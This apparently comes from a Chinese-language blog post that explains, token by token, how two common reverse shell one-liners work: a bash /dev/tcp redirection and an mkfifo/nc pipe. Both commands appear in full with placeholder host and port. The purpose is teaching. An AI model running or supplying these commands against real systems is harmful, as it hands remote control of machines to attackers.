谈谈常用Reverse shell,以及他们是怎么做到的。
谈谈常用Reverse shell,以及他们是怎么做到的。
- 前言
- /bin/bash -i >& /dev/tcp/ip/port 0>&1
- /bin/bash -i
- >&
- /dev/tcp
- 0>&1
- 结合起来
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
- rm /tmp/f
- mkfifo /tmp/f
- cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
- cat /tmp/f|/bin/bash -i 2>&1
- /bin/bash -i 2>&1|nc ip port >/tmp/f
- 结合起来
前言
平时经常会用到的几个reverse shell,有没有想过它们那么长一串是什么意思?有什么作用?来让我们看看他们是什么妖魔鬼怪。
/bin/bash -i >& /dev/tcp/ip/port 0>&1
拆分看看
/bin/bash -i
/bin/bash -i -i参数是表示interactive,意为可交互的shell。可交互即为一问一答,用户输入,shell执行;不可交互即为shell脚本,比如Poc.sh。如何区分?文件内输出$-
查看bash所使用选项。
交互式 shell中输入$-
查看bash所使用选项。
>&
先来回忆一下三个文件描述符:标准输入(0)、标准输出(1)、标准错误(2)。>&word
和&>word
语义上和> word 2>&1
一致,都是把标准错误和标准输出重定向到word中,只是写法不同,推荐第一种。
来看看第二种的具体含义。
额,看的头皮发麻。个人感觉就是解释上面的 &>
和>&
为什么等同于> word 2>&1
。首先大前提是我们不指定重定向标准输入(0)
、标准输出(1)
、标准错误(2)
三个中的一个去使用>&
,那么>&
会复制标准输出1
,组成1>&
.然后因为我们没有指定数字,>&
这种用法就会出现重定向错误(2)
,2>&
。根据文字描述先后顺序先复制标准输出1
然后出现重定向错误2
,也就是2>&1
。这就解释了为什么>&
等同于> word 2>&1
。
/dev/tcp
如果/dev/tcp/ip/port是一个有效的主机名/Internetl地址和端口/服务名称,bash会尝试打开对应的TCP套接字。
0>&1
当前目录有secret(无r权限)内容为“SECRET"和test(有r权限)内容为"TEST"的两个文件。
我想把secret内容写到content文件里该怎么办,使用`cat secret > content,因为secret没有r权限无法被打印出来并写入conten中。>默认会将标准输出重定向到某文件,所以cat secret > content等价于cat secret 1> content。
如果我想把无法写入content的文件原因也写进去怎么办。
cat secret > content 2>content,后面添上2>content将错误流也写入content中。
但是这种写法有一个问题cat secret > content 2>content,会开两个fd(文件描述符),fd之间可能会有资源竞争的问题,所以有了以&-结束的写法。这时候我们加入一个能读取的文件test。并将其一起写入content中。
使用&将标准输出和标准错误绑定在一起,而标准输出1本来就要被输入到content中,标准错误2和标准输出1绑定在一起都被输入到content中。
0>&1就是将标准输入和标准输出绑定在一起输入到前面要写入的地方。
结合起来
/bin/bash -i >& /dev/tcp/ip/port 0>&1
即为使用bash开启一个可交互的shell。
这个shell会通过TCP套接字将标准错误和标准输出重定向到目标。
目标又会通过套接字将标准输入和标准输出重定向回来替换标准输入0。
就是这么一个事情。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
拆开看
rm /tmp/f
清除可能tmp原有的管道f,以及其他名字是f的文件。
mkfifo /tmp/f
在/tmp建立一个管道文件f,管道文件可以允许无关进程之间互相通信。创建完毕后通过O/I来操作,完事后要手动删除管道文件。
cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
cat /tmp/f|/bin/bash -i 2>&1
将管道中的内容打印出作为/bin/bash -i 2>&1的标准输入(0)。+当前管道f内没有任何值。
/bin/bash -i 2>&1|nc ip port >/tmp/f
然后/bin/bash开启了一个可交互的shell,执行/tmp/f中的命令后将标准输出(1)和标准错误(2)重定向到了nc连接的主机端口中。此时反弹放处于挂起,
然后将我们的输入通过nc建立的通道写入f文件完成一次闭环。
结合起来
删除/tmp/f创建一个管道文件f。
将f文件里的值作为bash的输入,并以可交互的模式将标准错误和标准输出作为nc的输入。
nc连接上ip port后将前面的标准错误和标准输出通过nc传给ip port。
最后ip port通过nc将要执行的下一条命令覆盖写入f中。
然后形成闭环,是不是很简单呢。